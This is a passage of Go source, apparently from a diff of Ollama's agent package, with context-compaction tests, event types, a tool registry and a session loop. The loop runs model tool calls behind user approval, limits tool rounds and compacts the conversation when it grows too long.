Function: api.ToolCallFunction{
Name: "bash",
},
}}},
{Role: "tool", ToolName: "bash", ToolCallID: "call-1", Content: largeToolOutput},
}, 300)
if err != nil {
t.Fatal(err)
}
if estimateCompactionTokens(body) > 300 {
t.Fatalf("compaction prompt tokens = %d, want <= 300", estimateCompactionTokens(body))
}
if strings.Count(body, "x") >= len(largeToolOutput) {
t.Fatal("large tool output was not truncated")
}
if !strings.Contains(body, "[tool output truncated: showing first ~") {
t.Fatalf("truncation marker missing from compaction prompt: %q", body)
}
}
func TestCompactionPromptRetruncatesAlreadyTruncatedToolOutput(t *testing.T) {
alreadyTruncated := strings.Repeat("x", 7000) + "\n\n[tool output truncated: showing first ~100 tokens and last ~100 tokens; omitted ~99999 tokens. Use a narrower command, line range, or search query if more detail is needed.]\n\n" + strings.Repeat("y", 7000)
body, err := compactionPrompt("", []api.Message{
{Role: "user", Content: "what changed?"},
{Role: "assistant", ToolCalls: []api.ToolCall{{
ID: "call-1",
Function: api.ToolCallFunction{
Name: "bash",
},
}}},
{Role: "tool", ToolName: "bash", ToolCallID: "call-1", Content: alreadyTruncated},
}, 300)
if err != nil {
t.Fatal(err)
}
if estimateCompactionTokens(body) > 300 {
t.Fatalf("compaction prompt tokens = %d, want <= 300", estimateCompactionTokens(body))
}
if strings.Count(body, "x")+strings.Count(body, "y") >= 14_000 {
t.Fatal("already-truncated tool output was not truncated again")
}
if !strings.Contains(body, "[tool output truncated: showing first ~") {
t.Fatalf("truncation marker missing from compaction prompt: %q", body)
}
}
func TestCompactionSummaryTextStripsPrefix(t *testing.T) {
content := compactionSummaryMessageForTask("worked on branch changes", false)
if got := CompactionSummaryText(content); got != "worked on branch changes" {
t.Fatalf("summary text = %q", got)
}
}
func TestCompactionSummaryCanTellModelToContinueTask(t *testing.T) {
content := compactionSummaryMessageForTask("worked on branch changes", true)
if !strings.Contains(content, CompactionContinueInstruction) {
t.Fatalf("summary message missing continue instruction: %q", content)
}
if got := CompactionSummaryText(content); got != "worked on branch changes" {
t.Fatalf("summary text = %q", got)
}
}
func TestResolveContextWindowTokensPrefersExplicitNumCtx(t *testing.T) {
tests := []struct {
name string
options map[string]any
configured int
want int
}{
{
name: "explicit smaller num ctx",
options: map[string]any{"num_ctx": 4096},
configured: 8192,
want: 4096,
},
{
name: "explicit num ctx can exceed configured metadata",
options: map[string]any{"num_ctx": 131072},
configured: 8192,
want: 131072,
},
{
name: "metadata without explicit num ctx",
configured: 32768,
want: 32768,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
if got := ResolveContextWindowTokens(tt.options, tt.configured); got != tt.want {
t.Fatalf("ResolveContextWindowTokens() = %d, want %d", got, tt.want)
}
})
}
}
func TestSimpleCompactorForceCompactsWithoutPromptEvalCount(t *testing.T) {
client := &fakeClient{
responses: [][]api.ChatResponse{{
{Message: api.Message{Role: "assistant", Content: "forced summary"}},
}},
}
compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
ContextWindowTokens: 100,
KeepUserTurns: 1,
Threshold: 0.8,
}}
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
Model: "model",
Messages: []api.Message{
{Role: "user", Content: "old"},
{Role: "assistant", Content: "old answer"},
{Role: "user", Content: "recent"},
},
Force: true,
})
if err != nil {
t.Fatal(err)
}
if !result.Due || !result.Compacted {
t.Fatalf("forced compaction result = %#v", result)
}
if result.Summary != "forced summary" {
t.Fatalf("summary = %q", result.Summary)
}
}
func TestSimpleCompactorDefaultsToKeepingThreeUserTurns(t *testing.T) {
client := &fakeClient{
responses: [][]api.ChatResponse{{
{Message: api.Message{Role: "assistant", Content: "summary"}},
}},
}
compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
ContextWindowTokens: 16000,
Threshold: 0.5,
}}
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
ChatID: "chat-1",
Model: "model",
Messages: []api.Message{
{Role: "user", Content: "old"},
{Role: "assistant", Content: "old answer"},
{Role: "user", Content: "one"},
{Role: "assistant", Content: "one answer"},
{Role: "user", Content: "two"},
{Role: "assistant", Content: "two answer"},
{Role: "user", Content: "three"},
},
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
})
if err != nil {
t.Fatal(err)
}
if !result.Compacted {
t.Fatal("expected compaction")
}
assertCompactionSummaryPair(t, result.Messages[:2])
if got := result.Messages[2].Content; got != "one" {
t.Fatalf("first kept turn = %q, want one", got)
}
}
func TestSimpleCompactorCarriesPreviousSummary(t *testing.T) {
client := &fakeClient{
responses: [][]api.ChatResponse{{
{Message: api.Message{Role: "assistant", Content: "new summary"}},
}},
}
compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
ContextWindowTokens: 16000,
KeepUserTurns: 1,
Threshold: 0.5,
}}
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
Model: "model",
Messages: []api.Message{
{Role: "system", Content: CompactionSummaryMessagePrefix + "old summary"},
{Role: "user", Content: "old"},
{Role: "assistant", Content: "old answer"},
{Role: "user", Content: "recent"},
},
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
})
if err != nil {
t.Fatal(err)
}
if !result.Compacted {
t.Fatal("expected compaction")
}
if !strings.Contains(client.requests[0].Messages[1].Content, "Previous summary:\nold summary") {
t.Fatalf("previous summary missing from request: %q", client.requests[0].Messages[1].Content)
}
}
func TestSimpleCompactorCarriesPreviousToolSummaryAndPlacesNewSummaryBeforeKeptSuffix(t *testing.T) {
client := &fakeClient{
responses: [][]api.ChatResponse{{
{Message: api.Message{Role: "assistant", Content: "new summary"}},
}},
}
compactor := &SimpleCompactor{Client: client, Options: CompactionOptions{
ContextWindowTokens: 16000,
KeepUserTurns: 1,
Threshold: 0.5,
}}
messages := []api.Message{
{Role: "user", Content: "kept before old summary"},
CompactionSummaryMessages("old summary", false)[0],
CompactionSummaryMessages("old summary", false)[1],
{Role: "user", Content: "latest request"},
}
result, err := compactor.MaybeCompact(context.Background(), CompactionRequest{
Model: "model",
Messages: messages,
Latest: api.ChatResponse{Metrics: api.Metrics{PromptEvalCount: 12000}},
})
if err != nil {
t.Fatal(err)
}
if !result.Compacted {
t.Fatal("expected compaction")
}
if !strings.Contains(client.requests[0].Messages[1].Content, "Previous summary:\nold summary") {
t.Fatalf("previous summary missing from request: %q", client.requests[0].Messages[1].Content)
}
if len(result.Messages) != 3 {
t.Fatalf("messages = %#v, want compaction pair plus latest request", result.Messages)
}
assertCompactionSummaryPair(t, result.Messages[:2])
if result.Messages[2].Content != "latest request" {
t.Fatalf("kept suffix = %#v", result.Messages)
}
}
+79
View File
@@ -0,0 +1,79 @@
package agent
import (
"context"
"github.com/ollama/ollama/api"
)
type EventType string
const (
EventMessageDelta EventType = "message_delta"
EventThinkingDelta EventType = "thinking_delta"
EventToolCallDetected EventType = "tool_call_detected"
EventToolStarted EventType = "tool_started"
EventToolFinished EventType = "tool_finished"
EventCompactionStarted EventType = "compaction_started"
EventCompactionProgress EventType = "compaction_progress"
EventCompacted EventType = "compacted"
EventCompactionSkipped EventType = "compaction_skipped"
EventRunFinished EventType = "run_finished"
EventError EventType = "error"
)
type Event struct {
Type EventType `json:"type"`
RunID string `json:"runId,omitempty"`
ChatID string `json:"chatId,omitempty"`
Model string `json:"model,omitempty"`
Status string `json:"status,omitempty"`
ToolCallID string `json:"toolCallId,omitempty"`
ToolName string `json:"toolName,omitempty"`
WorkingDir string `json:"workingDir,omitempty"`
Content string `json:"content,omitempty"`
Thinking string `json:"thinking,omitempty"`
ToolCalls []api.ToolCall `json:"toolCalls,omitempty"`
Messages []api.Message `json:"messages,omitempty"`
Args map[string]any `json:"args,omitempty"`
Tokens int `json:"tokens,omitempty"`
Error string `json:"error,omitempty"`
}
type EventSink interface {
Emit(Event) error
}
type EventSinkFunc func(Event) error
func (fn EventSinkFunc) Emit(event Event) error {
if fn == nil {
return nil
}
return fn(event)
}
func (s *Session) emit(event Event) error {
if s == nil {
return nil
}
var firstErr error
for _, sink := range s.EventSinks {
if sink == nil {
continue
}
if err := sink.Emit(event); err != nil && firstErr == nil {
firstErr = err
}
}
return firstErr
}
func (s *Session) emitIgnoringCanceled(ctx context.Context, event Event) error {
err := s.emit(event)
if err != nil && ctx != nil && ctx.Err() != nil {
//nolint:nilerr // Event sinks may close during cancellation; cancellation is not a user-facing emit failure.
return nil
}
return err
}
+94
View File
@@ -0,0 +1,94 @@
package agent
import (
"context"
"fmt"
"sort"
"github.com/ollama/ollama/api"
)
type ToolContext struct {
WorkingDir string
}
type ToolResult struct {
Content string
WorkingDir string
}
type Tool interface {
Name() string
Description() string
Schema() api.ToolFunction
Execute(context.Context, ToolContext, map[string]any) (ToolResult, error)
}
type ApprovalRequired interface {
RequiresApproval(map[string]any) bool
}
type Registry struct {
tools map[string]Tool
}
func (r *Registry) Register(tool Tool) {
if r == nil || tool == nil {
return
}
if r.tools == nil {
r.tools = make(map[string]Tool)
}
r.tools[tool.Name()] = tool
}
func (r *Registry) Get(name string) (Tool, bool) {
if r == nil {
return nil, false
}
tool, ok := r.tools[name]
return tool, ok
}
func (r *Registry) Names() []string {
if r == nil {
return nil
}
names := make([]string, 0, len(r.tools))
for name := range r.tools {
names = append(names, name)
}
sort.Strings(names)
return names
}
func (r *Registry) Tools() api.Tools {
names := r.Names()
apiTools := make(api.Tools, 0, len(names))
for _, name := range names {
tool := r.tools[name]
apiTools = append(apiTools, api.Tool{
Type: "function",
Function: tool.Schema(),
})
}
return apiTools
}
func (r *Registry) Execute(ctx context.Context, toolCtx ToolContext, call api.ToolCall) (ToolResult, error) {
tool, ok := r.Get(call.Function.Name)
if !ok {
return ToolResult{}, fmt.Errorf("unknown tool: %s", call.Function.Name)
}
return tool.Execute(ctx, toolCtx, call.Function.Arguments.ToMap())
}
func ToolRequiresApproval(tool Tool, args map[string]any) bool {
if tool == nil {
return false
}
if t, ok := tool.(ApprovalRequired); ok {
return t.RequiresApproval(args)
}
return false
}
+1024
View File
@@ -0,0 +1,1024 @@
package agent
import (
"context"
"encoding/json"
"errors"
"fmt"
"os"
"path/filepath"
"strings"
"github.com/google/uuid"
"github.com/ollama/ollama/api"
)
type ChatClient interface {
Chat(context.Context, *api.ChatRequest, api.ChatResponseFunc) error
}
type ApprovalRequest struct {
WorkingDir string
Calls []ApprovalToolCall
}
type ApprovalToolCall struct {
ToolCallID string
ToolName string
Args map[string]any
}
type Approval struct {
Allow bool
AllowAll bool
Reason string
}
type ApprovalPrompter interface {
PromptApproval(context.Context, ApprovalRequest) (Approval, error)
}
type Session struct {
Client ChatClient
EventSinks []EventSink
Tools *Registry
ApprovalPrompter ApprovalPrompter
AllowAllTools bool
WorkingDir string
Compactor Compactor
}
type RunOptions struct {
ChatID string
Model string
SystemPrompt string
Messages []api.Message
NewMessages []api.Message
Format string
Options map[string]any
Think *api.ThinkValue
KeepAlive *api.Duration
// MaxToolRounds limits consecutive model/tool cycles.
// Zero uses the default guard; negative disables the guard for tests or
// special callers.
MaxToolRounds int
}
type RunResult struct {
Messages []api.Message
Latest api.ChatResponse
WorkingDir string
}
const (
defaultMaxToolRounds = 100
maxToolResultRunes = 60000
smallContextToolResultRunes = 6000
tinyContextToolResultRunes = 3200
smallContextToolResultTokenWindow = 8192
tinyContextToolResultTokenWindow = 4096
toolTruncationMarkerReserveTokens = 64
toolOutputFullOmissionPrefix = "[tool output truncated: output omitted because the context is full;"
)
type toolOutputOverflow struct {
toolName string
toolCallID string
content string
}
type toolBatchResult struct {
messages []api.Message
stop toolExecutionStop
overflows []toolOutputOverflow
}
type toolExecutionStop string
const (
toolExecutionDenied toolExecutionStop = "denied"
toolExecutionCanceled toolExecutionStop = "canceled"
)
type runPhase int
const (
runPhaseModel runPhase = iota
runPhaseTools
runPhaseCompact
runPhaseDone
)
type runState struct {
runID string
opts RunOptions
phase runPhase
messages []api.Message
latest api.ChatResponse
assistant api.Message
pendingToolCalls []api.ToolCall
canceled bool
toolBatch *toolBatchResult
consecutiveModelErrors int
toolRounds int
maxToolRounds int
compactionSkipNotified bool
finish runFinish
}
type runFinish struct {
status string
ignoreCanceled bool
err error
}
func (st *runState) finishDone() {
st.finish = runFinish{status: "done"}
st.phase = runPhaseDone
}
func (st *runState) finishDenied() {
st.finish = runFinish{status: "denied"}
st.phase = runPhaseDone
}
func (st *runState) finishCanceled() {
st.finish = runFinish{status: "canceled", ignoreCanceled: true}
st.phase = runPhaseDone
}
func (st *runState) finishError(err error) {
st.finish = runFinish{err: err}
st.phase = runPhaseDone
}
func (s *Session) Run(ctx context.Context, opts RunOptions) (*RunResult, error) {
if s == nil {
return nil, errors.New("nil session")
}
if s.Client == nil {
return nil, errors.New("agent session requires a chat client")
}
if opts.Model == "" {
return nil, errors.New("agent session requires a model")
}
runID := uuid.NewString()
messages := make([]api.Message, 0, len(opts.Messages)+len(opts.NewMessages))
for _, msg := range opts.Messages {
messages = append(messages, sanitizeMessageForRun(msg))
}
for _, msg := range opts.NewMessages {
msg = sanitizeMessageForRun(msg)
messages = append(messages, msg)
}
if err := s.checkPreflightPromptBudget(opts, messages); err != nil {
s.emit(Event{Type: EventError, RunID: runID, ChatID: opts.ChatID, Model: opts.Model, Error: err.Error()})
return nil, err
}
st := runState{
runID: runID,
opts: opts,
phase: runPhaseModel,
messages: messages,
maxToolRounds: resolvedMaxToolRounds(opts.MaxToolRounds),
}
for {
switch st.phase {
case runPhaseModel:
if err := s.runModelStep(ctx, &st); err != nil {
return nil, err
}
case runPhaseTools:
if err := s.runToolStep(ctx, &st); err != nil {
return nil, err
}
case runPhaseCompact:
if err := s.runCompactionStep(ctx, &st); err != nil {
return &RunResult{Messages: st.messages, Latest: st.latest, WorkingDir: s.WorkingDir}, err
}
case runPhaseDone:
return s.finishRun(ctx, &st)
}
}
}
func (s *Session) runModelStep(ctx context.Context, st *runState) error {
opts := st.opts
assistant, pendingToolCalls, canceled, err := s.chatRound(ctx, st.runID, opts, st.messages, &st.latest)
if err != nil {
var statusErr api.StatusError
if errors.As(err, &statusErr) && statusErr.StatusCode >= 500 && st.consecutiveModelErrors < 2 {
st.consecutiveModelErrors++
st.messages = append(st.messages, api.Message{
Role: "user",
Content: fmt.Sprintf("Your previous response caused an error: %s\n\nPlease try again with a valid response.", statusErr.ErrorMessage),
})
return nil
}
s.emit(Event{Type: EventError, RunID: st.runID, ChatID: opts.ChatID, Model: opts.Model, Error: err.Error()})
return err
}
st.consecutiveModelErrors = 0
st.assistant = assistant
st.pendingToolCalls = pendingToolCalls
st.canceled = canceled
if !messageEmpty(assistant) {
st.messages = append(st.messages, assistant)
}
if len(pendingToolCalls) == 0 {
st.toolBatch = nil
st.phase = runPhaseCompact
return nil
}
if canceled {
skipped, skipErr := s.skipToolCalls(ctx, st.runID, opts, pendingToolCalls, "Tool execution skipped because the run was canceled.")
if skipErr != nil {
s.emit(Event{Type: EventError, RunID: st.runID, ChatID: opts.ChatID, Model: opts.Model, Error: skipErr.Error()})
return skipErr
}
st.messages = append(st.messages, skipped...)
st.finishCanceled()
return nil
}
if s.Tools == nil {
st.finishDone()
return nil
}
if st.maxToolRounds >= 0 && st.toolRounds >= st.maxToolRounds {
content := fmt.Sprintf("Tool execution skipped because the max tool-round limit of %d was reached. Send another message to continue.", st.maxToolRounds)
toolMessages, skipErr := s.skipToolCalls(ctx, st.runID, opts, pendingToolCalls, content)
if skipErr != nil {
s.emit(Event{Type: EventError, RunID: st.runID, ChatID: opts.ChatID, Model: opts.Model, Error: skipErr.Error()})
return skipErr
}
st.messages = append(st.messages, toolMessages...)
err := fmt.Errorf("tool round limit reached after %d rounds; send another message to continue", st.maxToolRounds)
s.emit(Event{Type: EventError, RunID: st.runID, ChatID: opts.ChatID, Model: opts.Model, Error: err.Error()})
st.finishError(err)
return nil
}
st.phase = runPhaseTools
return nil
}
func (s *Session) runToolStep(ctx context.Context, st *runState) error {
batch, err := s.executeToolCalls(ctx, st.runID, st.opts, st.messages, st.pendingToolCalls)
if err != nil {
s.emit(Event{Type: EventError, RunID: st.runID, ChatID: st.opts.ChatID, Model: st.opts.Model, Error: err.Error()})
return err
}
st.messages = append(st.messages, batch.messages...)
st.toolBatch = &batch
st.phase = runPhaseCompact
return nil
}
func (s *Session) runCompactionStep(ctx context.Context, st *runState) error {
opts := st.opts
var err error
if st.toolBatch != nil && len(st.toolBatch.overflows) > 0 {
st.messages, st.compactionSkipNotified, err = s.compactForToolOutputOverflow(ctx, st.runID, opts, st.messages, st.latest, st.assistant, st.toolBatch.messages, st.toolBatch.overflows, st.compactionSkipNotified)
} else {
st.messages, st.compactionSkipNotified, err = s.maybeCompact(ctx, st.runID, opts, st.messages, st.latest, st.compactionSkipNotified)
}
if err != nil {
s.emit(Event{Type: EventError, RunID: st.runID, ChatID: opts.ChatID, Model: opts.Model, Error: err.Error()})
return err
}
if st.toolBatch == nil {
if st.canceled {
st.finishCanceled()
} else {
st.finishDone()
}
return nil
}
switch st.toolBatch.stop {
case toolExecutionDenied:
st.finishDenied()
case toolExecutionCanceled:
st.finishCanceled()
default:
st.toolRounds++
st.assistant = api.Message{}
st.pendingToolCalls = nil
st.toolBatch = nil
st.phase = runPhaseModel
}
return nil
}
func (s *Session) finishRun(ctx context.Context, st *runState) (*RunResult, error) {
if st.finish.status != "" {
event := Event{Type: EventRunFinished, RunID: st.runID, ChatID: st.opts.ChatID, Model: st.opts.Model, Status: st.finish.status}
var err error
if st.finish.ignoreCanceled {
err = s.emitIgnoringCanceled(ctx, event)
} else {
err = s.emit(event)
}
if err != nil {
return nil, err
}
}
return &RunResult{Messages: st.messages, Latest: st.latest, WorkingDir: s.WorkingDir}, st.finish.err
}
func (s *Session) chatRound(ctx context.Context, runID string, opts RunOptions, messages []api.Message, latest *api.ChatResponse) (api.Message, []api.ToolCall, bool, error) {
requestMessages := sanitizeMessagesForRequest(messages)
if strings.TrimSpace(opts.SystemPrompt) != "" {
withSystem := make([]api.Message, 0, len(requestMessages)+1)
withSystem = append(withSystem, api.Message{Role: "system", Content: opts.SystemPrompt})
requestMessages = append(withSystem, requestMessages...)
}
format := opts.Format
if format == "json" {
format = `"` + format + `"`
}
req := api.ChatRequest{
Model: opts.Model,
Messages: requestMessages,
Format: json.RawMessage(format),
Options: opts.Options,
Think: opts.Think,
}
if opts.KeepAlive != nil {
req.KeepAlive = opts.KeepAlive
}
if tools := s.availableTools(); len(tools) > 0 {
req.Tools = tools
}
assistant := api.Message{Role: "assistant"}
var pendingToolCalls []api.ToolCall
err := s.Client.Chat(ctx, &req, func(response api.ChatResponse) error {
if response.Message.Role != "" {
assistant.Role = response.Message.Role
}
if response.Message.Content == "" && response.Message.Thinking == "" && len(response.Message.ToolCalls) == 0 {
*latest = response
return nil
}
if response.Message.Thinking != "" {
assistant.Thinking += response.Message.Thinking
if err := s.emit(Event{Type: EventThinkingDelta, RunID: runID, ChatID: opts.ChatID, Model: opts.Model, Thinking: response.Message.Thinking}); err != nil {
return err
}
}
if response.Message.Content != "" {
assistant.Content += response.Message.Content
if err := s.emit(Event{Type: EventMessageDelta, RunID: runID, ChatID: opts.ChatID, Model: opts.Model, Content: response.Message.Content}); err != nil {
return err
}
}
if len(response.Message.ToolCalls) > 0 {
assistant.ToolCalls = append(assistant.ToolCalls, response.Message.ToolCalls...)
pendingToolCalls = append(pendingToolCalls, response.Message.ToolCalls...)
if err := s.emit(Event{Type: EventToolCallDetected, RunID: runID, ChatID: opts.ChatID, Model: opts.Model, ToolCalls: response.Message.ToolCalls}); err != nil {
return err
}
}
*latest = response
return nil
})
if err != nil {
if isContextCanceledError(ctx, err) {
return assistant, pendingToolCalls, true, nil
}
return assistant, pendingToolCalls, false, err
}
return assistant, pendingToolCalls, false, nil
}
func (s *Session) executeToolCalls(ctx context.Context, runID string, opts RunOptions, messages []api.Message, calls []api.ToolCall) (toolBatchResult, error) {
batch := toolBatchResult{
messages: make([]api.Message, 0, len(calls)),
}
projectedMessages := append([]api.Message(nil), messages...)
type plannedToolCall struct {
call api.ToolCall
tool Tool
toolName string
args map[string]any
workingDir string
}
plans := make([]plannedToolCall, 0, len(calls))
batchWorkingDir := s.currentWorkingDir()
approvalReq := ApprovalRequest{WorkingDir: batchWorkingDir}
for _, call := range calls {
toolName := call.Function.Name
args := call.Function.Arguments.ToMap()
tool, ok := s.Tools.Get(toolName)
plans = append(plans, plannedToolCall{
call: call,
tool: tool,
toolName: toolName,
args: args,
workingDir: batchWorkingDir,
})
if ok && ToolRequiresApproval(tool, args) {
approvalReq.Calls = append(approvalReq.Calls, ApprovalToolCall{
ToolCallID: call.ID,
ToolName: toolName,
Args: args,
})
}
}
if len(approvalReq.Calls) > 0 {
approvalResult, err := s.authorizeToolCalls(ctx, approvalReq)
if err != nil {
if ctx.Err() != nil {
skipped, skipErr := s.skipToolCalls(ctx, runID, opts, calls, "Tool execution skipped because the run was canceled.")
if skipErr != nil {
return toolBatchResult{}, skipErr
}
batch.messages = append(batch.messages, skipped...)
batch.stop = toolExecutionCanceled
return batch, nil
}
return toolBatchResult{}, err
}
if !approvalResult.Allow {
content := approvalResult.Reason
if content == "" {
content = "Tool execution denied."
}
for _, plan := range plans {
msg := s.toolMessageForContext(plan.toolName, plan.call.ID, content, opts, projectedMessages)
batch.messages = append(batch.messages, msg)
projectedMessages = append(projectedMessages, msg)
deniedContent := msg.Content
if emitErr := s.emit(Event{Type: EventToolFinished, RunID: runID, ChatID: opts.ChatID, Model: opts.Model, Status: "denied", ToolCallID: plan.call.ID, ToolName: plan.toolName, Args: plan.args, Content: deniedContent, Error: deniedContent}); emitErr != nil {
return toolBatchResult{}, emitErr
}
}
batch.stop = toolExecutionDenied
return batch, nil
}
}
for i, plan := range plans {
call := plan.call
toolName := plan.toolName
args := plan.args
if ctx.Err() != nil {
skipped, skipErr := s.skipToolCalls(ctx, runID, opts, calls[i:], "Tool execution skipped because the run was canceled.")
if skipErr != nil {
return toolBatchResult{}, skipErr
}
batch.messages = append(batch.messages, skipped...)
batch.stop = toolExecutionCanceled
return batch, nil
}
if plan.tool == nil {
content := fmt.Sprintf("Error: unknown tool: %s", toolName)
msg := s.toolMessageForContext(toolName, call.ID, content, opts, projectedMessages)
batch.messages = append(batch.messages, msg)
projectedMessages = append(projectedMessages, msg)
content = msg.Content
if toolOutputFullyOmitted(content) {
batch.overflows = append(batch.overflows, toolOutputOverflow{toolName: toolName, toolCallID: call.ID, content: fmt.Sprintf("Error: unknown tool: %s", toolName)})
}
if emitErr := s.emit(Event{Type: EventToolFinished, RunID: runID, ChatID: opts.ChatID, Model: opts.Model, Status: "failed", ToolCallID: call.ID, ToolName: toolName, Args: args, Content: content, Error: fmt.Sprintf("unknown tool: %s", toolName)}); emitErr != nil {
return toolBatchResult{}, emitErr
}
continue
}
if err := s.emit(Event{Type: EventToolStarted, RunID: runID, ChatID: opts.ChatID, Model: opts.Model, Status: "running", ToolCallID: call.ID, ToolName: toolName, WorkingDir: plan.workingDir, Args: args}); err != nil {
return toolBatchResult{}, err
}
result, err := s.Tools.Execute(ctx, ToolContext{WorkingDir: plan.workingDir}, call)
if err != nil {
rawContent := fmt.Sprintf("Error: %v", err)
msg := s.toolMessageForContext(toolName, call.ID, rawContent, opts, projectedMessages)
batch.messages = append(batch.messages, msg)
projectedMessages = append(projectedMessages, msg)
content := msg.Content
if toolOutputFullyOmitted(content) {
batch.overflows = append(batch.overflows, toolOutputOverflow{toolName: toolName, toolCallID: call.ID, content: rawContent})
}
if emitErr := s.emitIgnoringCanceled(ctx, Event{Type: EventToolFinished, RunID: runID, ChatID: opts.ChatID, Model: opts.Model, Status: "failed", ToolCallID: call.ID, ToolName: toolName, Args: args, Content: content, Error: err.Error()}); emitErr != nil {
return toolBatchResult{}, emitErr
}
if ctx.Err() != nil {
skipped, skipErr := s.skipToolCalls(ctx, runID, opts, calls[i+1:], "Tool execution skipped because the run was canceled.")
if skipErr != nil {
return toolBatchResult{}, skipErr
}
batch.messages = append(batch.messages, skipped...)
batch.stop = toolExecutionCanceled
return batch, nil
}
continue
}
eventWorkingDir := plan.workingDir
if s.applyToolWorkingDir(result.WorkingDir) {
eventWorkingDir = s.WorkingDir
}
rawContent := result.Content
msg := s.toolMessageForContext(toolName, call.ID, rawContent, opts, projectedMessages)
batch.messages = append(batch.messages, msg)
projectedMessages = append(projectedMessages, msg)
content := msg.Content
if toolOutputFullyOmitted(content) {
batch.overflows = append(batch.overflows, toolOutputOverflow{toolName: toolName, toolCallID: call.ID, content: rawContent})
}
if err := s.emitIgnoringCanceled(ctx, Event{Type: EventToolFinished, RunID: runID, ChatID: opts.ChatID, Model: opts.Model, Status: "done", ToolCallID: call.ID, ToolName: toolName, WorkingDir: eventWorkingDir, Args: args, Content: content}); err != nil {
return toolBatchResult{}, err
}
if ctx.Err() != nil {
skipped, skipErr := s.skipToolCalls(ctx, runID, opts, calls[i+1:], "Tool execution skipped because the run was canceled.")
if skipErr != nil {
return toolBatchResult{}, skipErr
}
batch.messages = append(batch.messages, skipped...)
batch.stop = toolExecutionCanceled
return batch, nil
}
}
return batch, nil
}
func (s *Session) authorizeToolCalls(ctx context.Context, req ApprovalRequest) (Approval, error) {
if s == nil || s.AllowAllTools || len(req.Calls) == 0 {
return Approval{Allow: true}, nil
}
if s.ApprovalPrompter == nil {
return Approval{
Reason: "Tool execution requires approval, but no approval prompter is available.",
}, nil
}
result, err := s.ApprovalPrompter.PromptApproval(ctx, req)
if err != nil {
return Approval{}, err
}
if result.AllowAll {
result.Allow = true
s.AllowAllTools = true
}
return result, nil
}
func (s *Session) skipToolCalls(ctx context.Context, runID string, opts RunOptions, calls []api.ToolCall, content string) ([]api.Message, error) {
toolMessages := make([]api.Message, 0, len(calls))
for _, call := range calls {
toolName := call.Function.Name
args := call.Function.Arguments.ToMap()
msg := toolMessage(toolName, call.ID, content)
toolMessages = append(toolMessages, msg)
if emitErr := s.emitIgnoringCanceled(ctx, Event{Type: EventToolFinished, RunID: runID, ChatID: opts.ChatID, Model: opts.Model, Status: "skipped", ToolCallID: call.ID, ToolName: toolName, Args: args, Content: msg.Content, Error: msg.Content}); emitErr != nil {
return nil, emitErr
}
}
return toolMessages, nil
}
func (s *Session) currentWorkingDir() string {
if s.WorkingDir != "" {
return s.WorkingDir
}
wd, err := os.Getwd()
if err != nil {
return ""
}
s.WorkingDir = wd
return s.WorkingDir
}
func (s *Session) applyToolWorkingDir(next string) bool {
next = strings.TrimSpace(next)
if next == "" {
return false
}
current := s.currentWorkingDir()
nextAbs, err := canonicalSessionPath(next)
if err != nil {
return false
}
if current == nextAbs {
return false
}
s.WorkingDir = nextAbs
return true
}
func canonicalSessionPath(path string) (string, error) {
abs, err := filepath.Abs(path)
if err != nil {
return "", err
}
resolved, err := filepath.EvalSymlinks(abs)
if err == nil {
return resolved, nil
}
return abs, nil
}
func isContextCanceledError(ctx context.Context, err error) bool {
if err == nil {
return false
}
if errors.Is(err, context.Canceled) {
return true
}
return ctx != nil && errors.Is(ctx.Err(), context.Canceled) && strings.Contains(err.Error(), "context canceled")
}
func (s *Session) maybeCompact(ctx context.Context, runID string, opts RunOptions, messages []api.Message, latest api.ChatResponse, skipNotified bool) ([]api.Message, bool, error) {
if s.Compactor == nil {
return messages, skipNotified, nil
}
req := s.compactionRequest(runID, opts, messages, latest)
trigger := s.autoCompactionTrigger(req)
if trigger != "" {
s.emitCompactionStarted(runID, opts, trigger)
}
result, err := s.Compactor.MaybeCompact(ctx, req)
if err != nil {
if result.Due && !skipNotified {
if trigger == "" {
trigger = "error"
}
s.emitCompactionSkipped(runID, opts, trigger, result.Reason)
skipNotified = true
}
return messages, skipNotified, nil
}
if !result.Compacted {
if result.Due && !skipNotified {
if trigger == "" {
trigger = "due"
}
s.emitCompactionSkipped(runID, opts, trigger, result.Reason)
skipNotified = true
}
return messages, skipNotified, nil
}
s.emitCompacted(runID, opts, result.Messages, trigger, result.Summary)
if err := s.checkPostCompactionPromptBudget(opts, result.Messages); err != nil {
return result.Messages, skipNotified, err
}
return result.Messages, skipNotified, nil
}
func (s *Session) compactForToolOutputOverflow(ctx context.Context, runID string, opts RunOptions, messages []api.Message, latest api.ChatResponse, assistant api.Message, toolMessages []api.Message, overflows []toolOutputOverflow, skipNotified bool) ([]api.Message, bool, error) {
if s.Compactor == nil {
return messages, skipNotified, nil
}
keepUserTurns := 0
req := s.compactionRequest(runID, opts, messages, latest)
req.Force = true
req.KeepUserTurns = &keepUserTurns
s.emitCompactionStarted(runID, opts, "tool_output")
result, err := s.Compactor.MaybeCompact(ctx, req)
if err != nil {
if result.Due && !skipNotified {
s.emitCompactionSkipped(runID, opts, "tool_output", result.Reason)
skipNotified = true
}
return messages, skipNotified, nil
}
if !result.Compacted {
if result.Due && !skipNotified {
s.emitCompactionSkipped(runID, opts, "tool_output", result.Reason)
skipNotified = true
}
return messages, skipNotified, nil
}
overflowByID := make(map[string]toolOutputOverflow, len(overflows))
for _, overflow := range overflows {
overflowByID[overflow.toolCallID] = overflow
}
compacted := append([]api.Message(nil), result.Messages...)
if !messageEmpty(assistant) {
compacted = append(compacted, assistant)
}
for _, msg := range toolMessages {
content := msg.Content
toolName := msg.ToolName
if overflow, ok := overflowByID[msg.ToolCallID]; ok {
content = overflow.content
if overflow.toolName != "" {
toolName = overflow.toolName
}
}
refit := s.toolMessageForPostCompactionContext(toolName, msg.ToolCallID, content, opts, compacted)
compacted = append(compacted, refit)
}
s.emitCompacted(runID, opts, compacted, "tool_output", result.Summary)
if err := s.checkPostCompactionPromptBudget(opts, compacted); err != nil {
return compacted, skipNotified, err
}
return compacted, skipNotified, nil
}
func (s *Session) compactionRequest(runID string, opts RunOptions, messages []api.Message, latest api.ChatResponse) CompactionRequest {
return CompactionRequest{
